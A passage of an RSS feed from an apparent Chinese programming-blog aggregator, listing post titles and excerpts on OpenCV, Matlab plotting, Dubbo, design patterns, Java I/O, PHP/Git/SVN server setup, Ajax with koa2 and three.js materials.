16.1 quickopencv.h #include&amp;lt;opencv2/opencv.hpp&amp;gt; using namespace cv; class QuickDemo //QuickDemo对象 { public: void polyline_drawing_demo(Mat &amp;amp;image); }; 16.2 QuickDemo.cpp #include&amp;lt;quickopencv.h&amp;gt; #include&amp;lt;iostream&amp;gt; void QuickDemo::polyline_drawing_demo(Mat &amp;amp;image) { Mat canvas = Mat::zeros(Size(512, 512), CV_8UC3);//定义画布 Point p1(100, 100);//5个坐标点 Point p2(350, 100); Point p3(450, 280); Point p4(320, 450); Point p5(80, 400); std::vector&amp;lt;Point&amp;gt;pts;//容器方式载入 pts.</description>
    </item>
    <item>
      <title>【Matlab读取图片提取RGB分量并将图片转化为二维三维数据作图】</title>
      <link>https://bchobby.github.io/posts/5452a25f53482b7e230dcb535af666e4/</link>
      <pubDate>Wed, 27 Apr 2022 22:58:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5452a25f53482b7e230dcb535af666e4/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 情况说明一、读取图片二、对图片进行处理1. 图片转成数据2. 画三维二维图像 总结 情况说明 提示：这里可以添加本文要记录的大概内容：&#xA;在拿到一张图片时，想使用matla读取图片并做相应分析时，比如提取CCD获得的光强信息时，可以从bmp、tif或png图片格式中分解出RGB红绿蓝分量的图片，分别进行分析，把分解出的R值图，导入matlab中作三维或者二维图像进行数据分析。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、读取图片 先使用Matlab进行图片的读取&#xA;clc clear close all %---------读取图片----------% image = imread(&#39;图片名称.tif&#39;); figure(&#39;Name&#39;,&#39;读取的图片&#39;) imshow(image) %显示读取的图片 %---------分别提取图片的r，g，b并分别显示rgb和原图----------% image = imread(&#39;图片名称.tif&#39;); imager = image(:,:,1); imageg = image(:,:,2); imageb = image(:,:,3); figure(&#39;Name&#39;,&#39;图片的RGB图和原图&#39;) subplot(221); imshow(imager); title(&#39;r&#39;) subplot(222); imshow(imageg); title(&#39;g&#39;) subplot(223); imshow(imageb); title(&#39;b&#39;) subplot(224); imshow(image); %---------对r，g，b分量加和----------% figure（&#39;Name&#39;,&#39;图片的RGB图和&#39;） % imshow(imageg+imageb+imager);%这是rgb加和 二、对图片进行处理 将读取好的图片用Matlab转化成三维二维数据进行分析&#xA;1. 图片转成数据 点击主页—导入数据—选择自己要导入的图片—完成&#xA;导入数据&#xA;由图片生成的三维数组&#xA;2. 画三维二维图像 代码如下（示例）：&#xA;d1=double(三维数据名称(:,:,1));%d1是二维数据了 figure mesh(d1) %根据三维数组画三维图 colormap jet %三维图颜色 figure contour(d1) %二维平面图 a1=double(三维数据名称(:,88,1)); %88是图像峰值的中心位置，可根据三维图大概确定，此时a1是一维数据了 a1=a1(10:20); %截取前十个数据赋给a1，此时a1长度为11 x=-1:0.</description>
    </item>
    <item>
      <title>【vscode插件】安装Tabnine使vscode能像JetBrains全家桶一样追踪方法,类,变量(不支持查看源码)</title>
      <link>https://bchobby.github.io/posts/f38b5c901b77a83bc113bc93ab968de8/</link>
      <pubDate>Wed, 27 Apr 2022 21:36:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f38b5c901b77a83bc113bc93ab968de8/</guid>
      <description> 前言:&#xA;我们在使用vscode时,在通过类.方法()时,我们没办法直接通过ctrl+单击进入到对应模块中的类及调用的方法,就类似JetBrains旗下的软件idea,pycharm等,都可以直接通过ctrl+单击进入到对应模块下类的方法,不过不用担心,vscode强大的插件可以帮助我们完成,下面就说下如何下载和使用Tabnine插件来帮助我们完成这个动作.&#xA;1.安装插件Tabnine 在扩展商店中搜索Tabnine&#xA;选择上图的插件,点击安装就好,注意它看它的title,上面会写支持那些语言,js,python,ruby这些都有安装完成之后,会在右下脚出现提示,让你重启vscode,重启就好了 2.使用 windows用户可以按住ctrl然后把鼠标移动到对应方法上,如果此时发现鼠标样式改变,变成小手,说明安装成功.成功后你可以单击,它会自动跳转过去,如果有两个同名文件会让你选择Mac用户可以按住command(⌘)然后移动鼠标到对应方法上,如果发现鼠标样式变为小手,说明安装成功.成功后可以单击方法,会跳转过去,如果有同名的文件会让你选择,你根据实际情况选择就好.注意: 要等初始化完成,在查看效果&#xA;此插件只对自己写的包引入后可追踪,不支持查看源码. </description>
    </item>
    <item>
      <title>dubbo实现同时请求所有节点并返回</title>
      <link>https://bchobby.github.io/posts/055ad1c930e58c73d83c6e0b73565dc1/</link>
      <pubDate>Wed, 27 Apr 2022 19:33:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/055ad1c930e58c73d83c6e0b73565dc1/</guid>
      <description>实现该功能需要先了解dubbo的运行流程，在请求的时候需要获取所有可用的服务invoker，通过实现LoadBalance和AbstractClusterInvoker都能获取到所有的invoker，但是LoadBalance是返回一个合适的invoker，但是AbstractClusterInvoker是容错机制的实现父类，此处会针对LoadBalance返回的invoker执行调用，如果失败在去执行对应的策略，所以我们可以对AbstractClusterInvoker方法进行重新。&#xA;在源码中有一个ForkingCluster类 也是会全部调用一遍，但是只是返回最快的一个请求结果，所以我们实现一个自己的类&#xA;import org.apache.dubbo.rpc.RpcException; import org.apache.dubbo.rpc.cluster.Directory; import org.apache.dubbo.rpc.cluster.support.AbstractClusterInvoker; import org.apache.dubbo.rpc.cluster.support.wrapper.AbstractCluster; public class MyForking extends AbstractCluster { //命名为myForking public final static String NAME = &#34;myForking&#34;; @Override public &amp;lt;T&amp;gt; AbstractClusterInvoker&amp;lt;T&amp;gt; doJoin(Directory&amp;lt;T&amp;gt; directory) throws RpcException { return new MyForkingClusterInvoker&amp;lt;T&amp;gt;(directory); } } import com.google.common.collect.Lists; import org.apache.dubbo.rpc.Invocation; import org.apache.dubbo.rpc.Invoker; import org.apache.dubbo.rpc.Result; import org.apache.dubbo.rpc.RpcException; import org.apache.dubbo.rpc.cluster.Directory; import org.apache.dubbo.rpc.cluster.LoadBalance; import org.apache.dubbo.rpc.cluster.support.AbstractClusterInvoker; import java.util.List; public class MyForkingClusterInvoker&amp;lt;T&amp;gt; extends AbstractClusterInvoker&amp;lt;T&amp;gt; { public MyForkingClusterInvoker(Directory&amp;lt;T&amp;gt; directory) { super(directory); } @Override protected Result doInvoke(Invocation invocation, List&amp;lt;Invoker&amp;lt;T&amp;gt;&amp;gt; invokers, LoadBalance loadbalance) throws RpcException { //存放所有集群节点的返回结果 List list = Lists.</description>
    </item>
    <item>
      <title>访问者模式及其应用场景</title>
      <link>https://bchobby.github.io/posts/8bca60fd1a72207ce884b5ca7f0746e7/</link>
      <pubDate>Wed, 27 Apr 2022 17:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bca60fd1a72207ce884b5ca7f0746e7/</guid>
      <description>访问者模式（Visitor Pattern）指将作用域某种数据结构中的各元素的操作分离出来封装成独立的类，使其在不改变数据结构的前提下可以添加作用于这些元素的新的操作。借用《Java设计模式》中的例子说明：在医院医生开具药单后，划价人员拿到药单后会根据药单上的药品名称和数量计算总价，而药房工作人员则根据药品名称和数量准备药品。如下图所示：&#xA;那么药品处方可以看成是一个药品信息的集合，里面包含了一种或多种不同类型的药品信息，不同类型的工作人员在操作统一药品信息集合时将提供不同的处理方式，而且可能还会增加新类型的工作人员来操作处方单。这就是访问者模式的典型应用场景。&#xA;一、访问者模式介绍 1.1 访问者模式的结构 访问者模式是一种较为复杂的行为型模式，它包含访问者（Visitor）和被访问元素（Element）两个主要组成部分。下面就来看看访问者模式的具体结构：&#xA;Visitor：抽象访问者，为对象结构中的每个具体元素类声明一个访问操作ConcreteVisitor1、ConcreteVisitor2：具体访问者，实现抽象访问者声明的操作Element：抽象元素，定义一个accept()方法ConcreteElement1、ConcreteElement2：具体元素，实现抽象元素中的accept()方法，在accept()方法中调用访问者的访问方法以便完成对一个元素的操作。ObjectStructure：对象结构，它是一个元素的集合，用于存放元素对象，并且提供了遍历其内部元素的方法。Client：客户端 1.2 访问者模式的实现 根据上面的类图，首先是抽象访问者，为每一种具体类型对象都会提供一个访问方法：&#xA;public interface Visitor { void visit(ConcreteElementA elementA); void visit(ConcreteElementB elementB); } 接下来是具体访问者，实现抽象访问者的声明方法&#xA;public class ConcreteVisitor1 implements Visitor{ @Override public void visit(ConcreteElementA elementA) { System.out.println(&#34;ConcreteVisitor1 访问 ConcreteElementA: &#34; + elementA.operationA()); } @Override public void visit(ConcreteElementB elementB) { System.out.println(&#34;ConcreteVisitor1 访问 ConcreteElementB: &#34; + elementB.operationB()); } } public class ConcreteVisitor2 implements Visitor { @Override public void visit(ConcreteElementA elementA) { System.out.println(&#34;ConcreteVisitor2 访问 ConcreteElementA: &#34;</description>
    </item>
    <item>
      <title>Uncaught TypeError: Failed to execute ‘uniform3fv‘ on ‘WebGL2RenderingContext‘</title>
      <link>https://bchobby.github.io/posts/9b3c792372c655a331609490f6b834f3/</link>
      <pubDate>Wed, 27 Apr 2022 11:56:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b3c792372c655a331609490f6b834f3/</guid>
      <description> Three.js 报错：&#xA;Uncaught TypeError: Failed to execute ‘uniform3fv’ on ‘WebGL2RenderingContext’: Overload resolution failed.&#xA;解决：&#xA;代码中更改Material的color属性代码：&#xA;line.material.color = 0xdb5df5; 改为：&#xA;line.material.color.set(0xdb5df5); </description>
    </item>
    <item>
      <title>Matlab论文插图绘制模板第21期—三维散点图（特征渲染赋色）</title>
      <link>https://bchobby.github.io/posts/ce6e903b3c74f46ddeae9258776ee19a/</link>
      <pubDate>Wed, 27 Apr 2022 11:04:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce6e903b3c74f46ddeae9258776ee19a/</guid>
      <description>在上一篇文章中，分享了Matlab三维散点图的绘制模板：&#xA;假如我们有这样一组数据，其每个离散点(x, y, z)都对应着一个特征，比如高程、温度、湿度、密度、曲率、坡度、粗糙度等。&#xA;如果我们想在绘制这些离散点的同时，根据这些特征进行赋色，应该怎么操作呢？&#xA;来看一下成品效果：&#xA;特别提示：Matlab论文插图绘制模板系列，旨在降低大家使用Matlab进行科研绘图的门槛，只需按照模板格式添加相应内容，即可得到满足大部分期刊以及学位论文格式要求的数据插图。如果觉得有用可以分享给你的朋友。&#xA;模板中最关键的部分内容：&#xA;1. 数据准备&#xA;此部分主要是读取数据，定义x，y，z以及特征向量f。&#xA;% 读取数据load data.mat% x坐标x = data(:,1);% y坐标y = data(:,2);% z坐标z = data(:,3);% 特征向量f = data(:,3); 2. 颜色定义&#xA;由于需要根据特征的大小进行赋色，所以应采用渐变色配色。&#xA;这里直接用之前分享的addcolorplus工具的渐变色：&#xA;%% 颜色定义map = addcolorplus(300); 3. 三维散点图（特征渲染赋色）绘制&#xA;使用‘scatter3’命令，绘制未经美化的三维散点图。&#xA;figurescatter3(x, y, z, 5, f, &#39;Marker&#39;, &#39;.&#39;)hTitle = title(&#39;Scatter3Feature&#39;);hXLabel = xlabel(&#39;XAxis&#39;);hYLabel = ylabel(&#39;YAxis&#39;);hZLabel = zlabel(&#39;ZAxis&#39;); 4. 细节优化&#xA;为了插图的美观，使用colormap命令赋上之前选择好的颜色。&#xA;% 赋色colormap(map) 进一步，对坐标区边框、视角、颜色条、字体字号等进行调整：&#xA;% 坐标区调整axis equalset(gca, &#39;Box&#39;, &#39;on&#39;, ... % 边框 &#39;XGrid&#39;, &#39;on&#39;, &#39;YGrid&#39;, &#39;on&#39;, .</description>
    </item>
    <item>
      <title>【Java学习笔记】API：I/O流</title>
      <link>https://bchobby.github.io/posts/59f709b6e0ae1a3b40aaf8814ea3a34f/</link>
      <pubDate>Wed, 27 Apr 2022 11:01:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59f709b6e0ae1a3b40aaf8814ea3a34f/</guid>
      <description>File类 File类中每一个实例可以表示硬盘（文件系统）中的一个文件或目录（实际上表示的是一个抽象路径）&#xA;使用File可以做到：&#xA;（1）访问其表示的文件或目录的属性信息，例如：名字，大小，修改时间等等&#xA;（2）创建和删除文件或目录&#xA;（3）访问一个目录中的子项&#xA;但是File不能访问文件数据&#xA;快捷键：光标指向-&amp;gt;Alt+回车-&amp;gt;自动import&#xA;ctrl+alt+L 自动格式化(自动对齐代码)&#xA;使用File访问文件及其属性信息 创建File时要指定路径，而路径通常使用相对路径。&#xA;相对路径的好处在于有良好的跨平台性。&#xA;实际开发中我们很少使用绝对路径，虽然清晰明了，但是不利于跨平台；绝对路径是从根开始的（E盘、D盘等盘符开始的：&#34;C:/Users/TEDU/IdeaProjects/CGB2202_SE/demo.txt&#34;）&#xA;&#34;.\\demo.txt&#34;写法与&#34;./demo.txt&#34;相同，但是为了更好的跨平台性，使用后面一种写法（因为linux只支持&#34;/&#34;普通斜杠）&#xA;&#34;./&#34;或&#34;.&#34;是相对路径中使用最多的，表示“当前目录”，而当前目录是哪里取决于程序运行环境而定，在idea中运行java程序时，这里指定的当前目录就是当前程序所在的项目目录。&#xA;&#34;./&#34;在相对路径中是可以忽略不写的，默认就是从&#34;./&#34;开始的&#xA;无参方法&#xA;getName()：获取名字------输出String类型&#xA;length()：获取长度------输出long类型&#xA;补充：在一个文件中，字母数字占用1个字节，汉字占用3个字节&#xA;在java的char数据类型中，1个字符占用2个字节&#xA;canRead()：是否可读----输出boolean类型&#xA;canWrite()：是否可写----输出boolean类型&#xA;isHidden()：是否隐藏----输出boolean类型&#xA;import java.io.File; File file1 = new File(&#34;c:/xxx/xxx/xx/xxx.txt&#34;); //新建了一个File实例，表示一个绝对路径下的文件(引用名file1装的是一个地址) File file = new File(&#34;./demo.txt&#34;); //新建了一个File实例，表示一个相对路径下的文件(引用名file的地址指向./demo.txt文件) //获取名字 String name = file.getName(); System.out.println(name); //获取文件大小(单位是字节) long len = file.length(); System.out.println(len+&#34;字节&#34;); //是否可读可写 boolean cr = file.canRead(); boolean cw = file.canWrite(); System.out.println(&#34;是否可读&#34;+cr); System.out.println(&#34;是否可写&#34;+cw); //是否隐藏 Boolean ih = file.isHidden(); System.out.println(&#34;是否隐藏&#34;+ih); 创建一个新文件 无参方法：</description>
    </item>
    <item>
      <title>在ubuntu18安装php7.4</title>
      <link>https://bchobby.github.io/posts/bb854f5b99e3e8e1da529bea55241241/</link>
      <pubDate>Wed, 27 Apr 2022 10:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb854f5b99e3e8e1da529bea55241241/</guid>
      <description>php7.4版本已经出来几年了，但是ubuntu 18 里不能直接通过sudo apt install php7.4命令安装。&#xA;因此，安装php7.4时首先需要添加PHP PPA存储库。&#xA;1.添加PHP PPA存储库&#xA;首先，在终端添加命令&#xA;sudo apt-get update 接着，在终端添加命令&#xA;sudo apt install software-properties-common 最后，在终端添加命令&#xA;sudo add-apt-repository ppa:ondrej/php 下面是我在ubuntu18安装的截图&#xA;2.安装php7.4&#xA;在终端输入命令&#xA;sudo apt install php7.4 但提示：Do you want to continue? [Y/n] 时，输入Y就可以了。&#xA;安装截图如下：&#xA;3.等php7.4安装完成后，一般还需要安装php的扩展包，下面安装常用的扩展包。&#xA;在终端输入命令：&#xA;sudo apt install php7.4-fpm php7.4-mysql php7.4-xml php7.4-curl php7.4-gd php7.4-json php7.4-mbstring php7.4-intl php7.4-bcmath php7.4-bz2 php7.4-zip 还有其他的扩展包，自己根据具体情况来安装，安装命令为&#xA;sudo apt install php7.4-xxx （xxx要替换成具体的安装包名称）</description>
    </item>
    <item>
      <title>Git服务器搭建简明教程</title>
      <link>https://bchobby.github.io/posts/f0efce73f448281b66d4a588a6e40626/</link>
      <pubDate>Wed, 27 Apr 2022 09:40:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0efce73f448281b66d4a588a6e40626/</guid>
      <description>1前言 本文详解在Ubantu 16下搭建Git服务器，力求让读者知其所以然，仅需安装Git和ssh，而无需其他软件。&#xA;2服务器搭建 在真实服务器或虚拟机里操作均可。另外，如果用VMware Workstation 16 Player的话，默认不用配置虚拟机网卡，本地机就能Ping通。教程使用普通用户操作，如果是root用户，就不用加sudo了，命令将更加简洁。&#xA;2.1安装Git和SSH 已安装过的最好也再来一遍，以更新到最新，除非自己很清楚。&#xA;sudo apt-get install git sudo apt-get install ssh service ssh start 2.2新建用户 方便管理仓库，这里新建一个叫git的用户，名字可以任意，但推荐取名为git。建议以后Git的相关的东西，都放到这个用户目录下。&#xA;注意，中途输入的密码是给新建的git用户设置的密码，其他直接回车使用默认信息即可。&#xA;sudo adduser git 注意，以上只是创建了叫git的用户，后续的操作并没有切换到该用户进行。&#xA;2.3创建登录证书 创建路径.ssh，然后创建authorized_keys文件，这里路径和文件名不能任取，该文件用于存放各个git客户端的RSA公钥，只有在这个列表里的客户端才能连接git服务。公钥在下一步创建。&#xA;cd /home/git/ sudo mkdir .ssh sudo touch .ssh/authorized_keys 2.4本地端创建密钥 注意，这一步在本地端进行。不同的本地用户有不同的KEY。&#xA;ssh-keygen -t rsa 这里在windows下进行，这个命令可以在CMD、PowerShell或Git bash里执行。这里选Git bash，任意空白处右键点击Git bash here，然后右键粘贴执行，中途全默认按回车即可。&#xA;如上图就已经生成，在用户根目录的.ssh文件夹内，id_rsa.pub就是我们要的公钥：&#xA;2.5本地端公钥上传 这里只是方法之一，只要能把id_rsa.pub传到服务器就行。scp是ssh的文件复制命令。&#xA;scp id_rsa.pub git@103.66.218.190:/home/git/ 注意，使用你自己的ip地址。&#xA;我们来到上边.ssh文件夹内右键点击Git bash here，右键粘贴执行，中途输入yes，然后输入刚才创建git账号的密码，成功后如图：&#xA;2.6服务器添加用户公钥 注意，在服务器端进行。使用cat指令将公钥追加到authorized_keys文件。&#xA;sudo sh -c &#34;cat id_rsa.pub &amp;gt;&amp;gt; .ssh/authorized_keys&#34; 注意，如果不是root用户，使用如下方式则会报权限错误：&#xA;sudo cat id_rsa.</description>
    </item>
    <item>
      <title>一、Linux下的SVN服务器搭建</title>
      <link>https://bchobby.github.io/posts/d120aa7a1729dd25cb259c2dc1684858/</link>
      <pubDate>Wed, 27 Apr 2022 08:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d120aa7a1729dd25cb259c2dc1684858/</guid>
      <description>这里自己做个总结。&#xA;环境： contos7，百度云服务&#xA;下载svn服务器，必须是联网情况下。 yum -y install subversion&#xA;查看下载后的信息，安装位置及详细信息。 rpm -ql subversion&#xA;3.创建版本库目录，可以再chenjy目录上放置多个项目，不必为每个项目创建一个版本库。下面是我的版本库&#xA;mkdir /opt/svn/svnrepos/chenjy&#xA;创建版本库&#xA;svnadmin create /opt/svn/svnrepos/chenjy (chenjy 就是我的版本库)&#xA;4.进入conf配置修改，设置账号、权限。。。&#xA;cd /opt/svn/svnrepos/chenjy&#xA;查看版本库下面都有什么&#xA;[root@instance-45oh6r0z chenjy]# ll&#xA;total 24&#xA;drwxr-xr-x 2 root root 4096 Feb 21 18:02 conf&#xA;drwxr-sr-x 6 root root 4096 Feb 21 18:22 db&#xA;-r–r–r-- 1 root root 2 Feb 20 17:49 format&#xA;drwxr-xr-x 2 root root 4096 Feb 20 17:49 hooks&#xA;drwxr-xr-x 2 root root 4096 Feb 20 17:49 locks</description>
    </item>
    <item>
      <title>基于Java web的SSM框架的宠物领养系统</title>
      <link>https://bchobby.github.io/posts/cbec3566be2cc6241ea804995075a874/</link>
      <pubDate>Tue, 26 Apr 2022 22:46:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbec3566be2cc6241ea804995075a874/</guid>
      <description>运行环境: 最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;IDE环境： Eclipse,Myeclipse,IDEA都可以&#xA;tomcat环境： Tomcat 7.x,8.x,9.x版本均可&#xA;硬件环境： windows 7/8/10 2G内存以上（推荐4G，4G以上更好）&#xA;用了技术框架： HTML+CSS+JavaScript+jsp+mysql&#xA;所用的数据库： Mysql数据库，任意版本均可，也可使用各种数据库工具，例如Navicat等。&#xA;tips: 需要链接数据库的jsp程序，用到的数据库保存在源码码头的数据库平台上，为了防止童鞋们不注意删除数据，会每24小时还原一次，有较低的概率在你们演示的时候，刚插入或者刚更新，数据库就被还原了，是正常现象，你们下载到本地后，用你们自己的数据库就可以了~^_^。&#xA;适用于： 由于本程序规模不大，可供课程设计，毕业设计学习演示之用。&#xA;本系统分为前台和后台。&#xA;前台： 首页：&#xA;宠物信息页面：&#xA;领养页面：&#xA;新闻信息页面：&#xA;用户注册页面： 后台： 如有需要，请联系博主。</description>
    </item>
    <item>
      <title>ajax技术详解</title>
      <link>https://bchobby.github.io/posts/ac2b0554704e652af582cc61ef986b48/</link>
      <pubDate>Tue, 26 Apr 2022 22:42:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac2b0554704e652af582cc61ef986b48/</guid>
      <description>1. 全局刷新与局部刷新 在B/S 结构的项目中， 浏览器端负责把用户的请求和参数通过网络发送给服务器,服务端负责接收请求，并将处理的结果返回给浏览器。浏览器端负责展示响应结果给用户。&#xA;全局刷新 由浏览器亲自向服务端发送请求协议包，接着由服务端直接将【响应包】发送到浏览器的内存中，这个行为导致浏览器内存中原有内容被覆盖掉；所以整个浏览器数据全部被刷新。&#xA;局部刷新 不是由浏览器发送请求给服务端，而是浏览器委托浏览器内存中一个脚本对象代替浏览器发送请求。这个行为导致服务端直接将【响应包】发送脚本对象内存中，所以是脚本对象内容被覆盖掉，但是此时浏览器内存中绝大部分内容没有收到任何影响。只会刷新局部的内容。&#xA;ajax技术就是一种局部刷新的技术。 2. 准备工作–搭建后端环境 使用ajax技术是需要有后端环境的，因此，在使用该技术之前需要搭建好后端环境；这里使用基于node.js的koa2框架来搭建后端环境。此处有基本的node.js的知识就可以较好地使用起来。&#xA;1.koa2框架是基于node.js的，所以需要确保自己的电脑里已经安装了node.js环境。 2.安装脚手架，用于快速构建koa2的初始环境 npm install -g koa-generator 3.创建koa2的初始项目 koa2 tencentsports # 初始化依赖 cd tencentsports npm i 4.启动koa2环境 npm run dev 前往浏览器输入localhost:3000，如果出现以下画面，说明koa脚手架已经运行成功了；这也就表示我们已经搭建好一个后端环境了。&#xA;接下来，我们打开项目文件，简单介绍一下项目构成。&#xA;启动该项目，就相当于运行了一个后端环境，下面简单的使用该项目完成一个请求到响应的过程。&#xA;在public文件夹下添加静态资源，是可以是直接访问的。 在public文件夹下的image文件夹下放图片，可以直接通过浏览器访问查看。&#xA;在public文件夹下创建html文件，同样可以直接访问。 通过路由，映射请求 这种也是常规开发中最常见的形式。&#xA;// 这是测试方法，参照上面的形式即可 router.get(&#39;/test1&#39;, async (cxt, next) =&amp;gt;{ cxt.body = &#39;这是test1文件&#39; }) 以上就是koa2的基本使用情况，想要详细了解该知识，可以参考官方网站koa官网&#xA;3. ajax基本使用 ajax通过原生的XMLHttpRequest对象发出HTTP请求，得到服务器返回的数据后，再进行处理。&#xA;var xhr = new XMLHttpRequest(); xhr实例下的onload()事件，用于监听请求是否已经成功完成。&#xA;xhr.onload = function(){ console(&#34;请求已经完成&#34;); } xhr实例创建成功后，使用open()和send()方法发出HTTP请求。&#xA;xhr.open(&#39;GET&#39;, &#39;http://localhost/test1&#39;, true); xhr.</description>
    </item>
    <item>
      <title>element的el-input出现无法输入的bug</title>
      <link>https://bchobby.github.io/posts/f401f6126eabac9a878d9e589ba00d14/</link>
      <pubDate>Tue, 26 Apr 2022 17:54:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f401f6126eabac9a878d9e589ba00d14/</guid>
      <description>在 某位传说级大佬 的指点下, 解决了该 bug&#xA;问题 : 在 el-table 中使用了 el-input , el-table 外层还嵌套了多层 el- 组件&#xA;原因 : 嵌套的 el- 组件太多&#xA;解决 :&#xA;1. 在 el-table 的 el-table-column 中, 使用 template slot-scope=&#34;scope&#34; 插槽, 再将 el-input 放入其中&#xA;2. 将 el-input 绑定的数据, 存放在 el-table 的 :data 数据中&#xA;&amp;lt;el-tabs :tab-position=&#34;tabPosition&#34; style=&#34;height: 200px;&#34; type=&#34;card&#34; v-model=&#34;activeName&#34; &amp;gt; &amp;lt;el-tab-pane :label=&#34;item.label&#34; :name=&#34;item.name&#34; v-for=&#34;(item, index) in sizeList&#34; :key=&#34;index&#34; &amp;gt; &amp;lt;el-table ref=&#34;singleTable&#34; :data=&#34;tableData&#34; style=&#34;width: 100%&#34; border header-align=&#34;center&#34; &amp;gt; &amp;lt;el-table-column width=&#34;</description>
    </item>
    <item>
      <title>记openssh升级，telnet安装（环境CentOS 7.9。 晗旧版本的不同补充）</title>
      <link>https://bchobby.github.io/posts/6e1d6495b9d27455b29520c886a1860a/</link>
      <pubDate>Tue, 26 Apr 2022 17:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e1d6495b9d27455b29520c886a1860a/</guid>
      <description>目录&#xA;一、前提工作&#xA;1. 先查看系统版本：&#xA;2. 准备相关安装包（rpm包）部分rpm包列表：&#xA;二、安装telnet（CentOS Linux release 7.9.2009环境）&#xA;1. 检查xinetd运行状态及telnet是否安装&#xA;2. 创建安装包存放目录 及 rz命令上传RMP包&#xA;3. 进入目录/tools/telnet执行安装：（按顺序执行，不然可能报错） 4. 启动telnet服务及查看服务端口&#xA;5. 设置root用户登录、关闭防火墙实现root用户登录到telnet 6. 卸载telnet的步骤 （补充）&#xA;三、编译安装gcc&#xA;1. 查看是否安装gcc 及 创建安装包存放目录&#xA;2. 安装gcc （多数情况系统已安装）&#xA;四、编译安装（升级openssl）&#xA;1. 检查以前安装的包&#xA;2. 查看相关依赖包是否安装&#xA;五、编译安装（升级openssh，CentOS Linux release 7.9.2009环境）&#xA;1. 查看相关依赖包是否安装&#xA;2. 创建安装包存放目录 及 rz命令上传压缩包 3. 解压 openssh-9.0p1.tar.gz 及 进入解压后的目录&#xA;4. 执行编译安装命令（安装过程建议telnet登录安装，但非必须） 5. CentOS 7 之前的版本需要做以下处理&#xA;6. 修改配置文件开启root用户直接登录 7. 开机自启,服务启动 8. 重启openssh测试 9. 升级后ssh ip跳转时的两个错误问题记录&#xA;一、前提工作 1.</description>
    </item>
    <item>
      <title>Three 之 three.js （webgl）涉及的各种材质简单说明(常用材质配有效果图)</title>
      <link>https://bchobby.github.io/posts/5be8b308e5db7d598dc166002a1783f6/</link>
      <pubDate>Tue, 26 Apr 2022 14:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5be8b308e5db7d598dc166002a1783f6/</guid>
      <description>Three 之 three.js （webgl）涉及的各种材质简单说明(常用材质有效果图) 目录&#xA;Three 之 three.js （webgl）涉及的各种材质简单说明(常用材质配有效果图)&#xA;一、简单介绍&#xA;二、各种材质说明&#xA;1、MeshBasicMaterial 基础网格材质&#xA;2、MeshDepthMaterial 深度网格材质&#xA;3、MeshDistanceMaterial 距离网格材质&#xA;4、MeshLambertMaterial Lambert网格材质&#xA;5、MeshMatcapMaterial&#xA;6、MeshNormalMaterial 法线网格材质&#xA;7、MeshPhongMaterial Phong网格材质&#xA;8、MeshPhysicalMaterial 物理网格材质&#xA;9、MeshStandardMaterial 标准网格材质&#xA;10、MeshToonMaterial 卡通网格材质&#xA;11、PointsMaterial 点材质&#xA;12、RawShaderMaterial 原始着色器材质&#xA;13、ShaderMaterial 着色器材质&#xA;14、ShadowMaterial 阴影材质&#xA;15、SpriteMaterial 点精灵材质&#xA;16、LineBasicMaterial 基础线条材质&#xA;17、LineDashedMaterial 虚线材质&#xA;一、简单介绍 Three js 开发的一些知识整理，方便后期遇到类似的问题，能够及时查阅使用。&#xA;本节介绍， three.js （webgl）中有各种材质，不同材质又有不同的效果，这里做简单的介绍，如果有不足之处，欢迎指出，或者你有更好的方法，欢迎留言。&#xA;Materail 材料的抽象基类。&#xA;材料描述物体的外观。它们是以一种(主要)与渲染无关的方式定义的，所以如果你决定使用不同的渲染器，你不必重写材料。&#xA;以下属性和方法可以被所有其他材质类型继承(尽管它们可能有不同的默认值)。&#xA;属性 ：&#xA;.alphaTest:Float&#xA;设置要在运行alpha测试时使用的alpha值。如果不透明度低于这个值，材质将不会被渲染。默认值为0。&#xA;.alphaToCoverage:Float&#xA;使alpha覆盖范围。只能在启用msaa的上下文中使用(意味着在创建渲染器时将antialias参数设置为true)。默认是假的。&#xA;.blendDst:Integer&#xA;混合的目的地。默认是OneMinusSrcAlphaFactor。请参阅所有可能值的目标因子常数。&#xA;材质的混合必须设置为customblend，这样才会有效果。&#xA;.blendDstAlpha:Integer&#xA;. blenddst的透明度。如果为空，则使用. blenddst值。默认为空。&#xA;方法：</description>
    </item>
    <item>
      <title>【论文笔记】MV3D：Multi-View 3D Object Detection Network for Autonomous Driving</title>
      <link>https://bchobby.github.io/posts/35d22caeda76b6835715619234be920a/</link>
      <pubDate>Tue, 26 Apr 2022 14:30:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35d22caeda76b6835715619234be920a/</guid>
